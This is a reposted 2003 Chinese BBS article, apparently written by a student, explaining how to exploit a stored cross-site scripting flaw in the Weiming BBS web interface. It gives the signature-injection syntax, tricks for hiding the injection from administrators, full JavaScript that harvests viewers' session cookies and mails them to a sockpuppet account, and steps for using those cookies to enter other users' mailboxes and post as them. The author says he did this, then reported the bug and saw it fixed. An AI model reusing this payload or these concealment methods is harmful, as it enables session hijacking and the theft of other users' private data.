正文

未名BBS的www一个漏洞的利用2007-01-26 18:29:00

【评论】 【打印】 【字体: 】 本文链接:http://blog.pfan.cn/elove/22837.html

分享到:

1.漏洞的发现 我们知道在telnet方式下可以设置图片签名档,设置格式就是:<img>图片的URL</img>这样当你设置好了之后,当你发表文章后,在www方式下,相应的网页中就会自动生成以下HTML代码:<img src="图片的URL" border=0>这个原理相信大家都明白,但是如果仔细推敲和发挥想像就会做到出人意料的效果:试想,如果我的图片签名档这样设置:<img>"> 任何代码 <q "</img>那么在www方式下你的文章所在的页面中相应的HTML代码就是:<img src=""> 任何代码 <q "" border=0>现在你会意识到什么了?那就是我们可以在未名BBS的www方式下加入任何代码(浏览器支持的任何代码)!!!于是我们就可以充分发挥我们的想像来做我们想玩的东西。 2.漏洞的利用技巧 在我们准备动手之前,可以先做一个简单测试:将签名档设为: <img>"> alert() <q "</img>然后到test板发一篇文章。这样,在www下点击你的文章时就会看到弹出alert()窗口。但是很快你就会发现两个破绽:1) 图片签名档由于img的src="",找不到路径,因而出现了带叉的图片空框,这有可能被细心的人注意。2) 要是在telnet下看你的文章时,就会发现你的签名档是一大堆代码,这更会引起管理员的怀疑的。所以,接下来我们要设法解决这些问题:对于第一个问题,可以将签名档设置成:<img>" style="display:none;"> 任何代码 <q "</img>这样图片就不显示出来了。对于第二个问题,可以利用“障眼法”,只需将签名档设置成:一个文字签名档  足够长的空格  <img>" style="display:none;"> 任何代码 <q "</img>这样一切工作就做得很隐蔽了,我们就可以放心大胆地去玩了。 3.漏洞的一个可怕的利用——用别人id发文、进入别人信箱 也许有人会利用代码搞点恶作剧或加入一些恶性代码满足某种目的,但毕竟这些都还不会带来很严重的后果,而且也并不能发挥你的多少想像力。其实,一个更可怕的企图是,能不能利用代码去获取用户的资料?!!我的一个思路就是,先用代码去获取用户(只要这个id在www下浏览了你的含有那段代码的文章)机器上的cookie——里面有用户的相关资料,然后再利用用户的这些资料去以用户的站内信箱发信到我(最好是我的一个马甲)的站内信箱里,信件内容就是那个cookie里的用户资料。有了这个想法,实现它就不那么困难了(“只有想不到的,没有做不到的”,呵呵)下面就是我“作案”的全过程:首先,制作一个js文件,为了隐蔽起见,将文件扩展名换成.jpg,如aaa.jpg其内容如下:document.write('<iframe id=sendit width=1 height=1></iframe>'); //做一个隐藏的iframe//****自动将cookie发信到我的马甲MaJia信箱里***********************content='<form id=fm method=POST action="/cgi-bin/bbssdm">';  content+='<input type=text name=to value="MaJia">';  //收信人是MaJiacontent+='<input type=radio name=signature value=1 checked>';content+='<input type=text name=title value="cookies">';content+='';content+='';//下面是利用用户的cookie信息得到用户的发信权限,并将信件内容设置为其cookie//说明:用户cookie的内容是:代号; ID名; 加密后的识别码//如某个id的cookie: pid=15325; id2=IDName; code2=$1$UMqhPaNK$PbEo3U2lChNJ48lgamB7Y1//利用ID名和加密后的识别码就可以进入这个id的信箱或用这个id发文(见后)content+='<textarea name=text value='+parent.left.document.cookie+'>'+parent.left.document.cookie+'</textarea>';content+='</form>';//******************************************************************content+='<scrīpt>fm.submit();</scrīpt>';  //发送sendit.document.write(content);然后,在test板发文,将上面的aaa.jpg(实际上js文件)粘贴为附件,记住它的url地址。然后再删掉这个文章——但不用担心,附件仍然在那里呢(不知道这是不是未名的另一个漏洞)。接着,在telnet下将签名档设置成:一个文字签名档  足够长的空格  <img>" style="display:none;"> <scrīpt src="aaa.jpg所在的url地址"> <q "</img>于是,大功告成!下面你就可以在人多的版面上多发几篇引人注意文章,最好有图片附件——这样就能吸引别人到www下去看你的文章。然后,泡上一杯咖啡,听听音乐,过不了多久,你就会在你的马甲的信箱里收到几十甚至上百封(但有重复)别人送来的他们自己的信息。进入别人信箱的方法:首先要确保对方id正在线上,然后你在你自己的www下的点击“发邮件”,然后查看原文件,另存为mail.htm,然后将form中的一些参数做些设置就行了,比如相对路径改称绝对的,相应的value值替换成别人id的。然后利用这个mail.htm给自己发信,发信之后,mail.htm所在的浏览器窗口就自动切换到了别人的信箱里去了,于是,哼哼...利用别人id发文的方法类似,不再多说了。 4.特别声明 这个漏洞是我在今年1月初发现的,自己的确做了上述的试验,但也就一两次,进入别人信箱后很快就退出了,没有对别人的邮箱作任何破坏,也没有纪录和泄露任何人的隐私。发现这个漏洞后,我及时报告给了技术总监,现在这个漏洞已经完全修复了,所以我才将此文公开出来。最后,希望未名尽快完善www方式,毕竟目前的小BUG实在太多了。   原发表于: 发信人: neweroica (新英雄), 信区: Homepage标  题: 未名BBS的www一个漏洞的利用(原创)发信站: 北大未名站 (2003年02月22日12:27:36 星期六) , 站内信件  

阅读(6781) | 评论(0)


版权声明:编程爱好者网站为此博客服务提供商,如本文牵涉到版权问题,编程爱好者网站不承担相关责任,如有版权问题请直接与本文作者联系解决。谢谢!

评论

暂无评论
您需要登录后才能评论,请 登录 或者 注册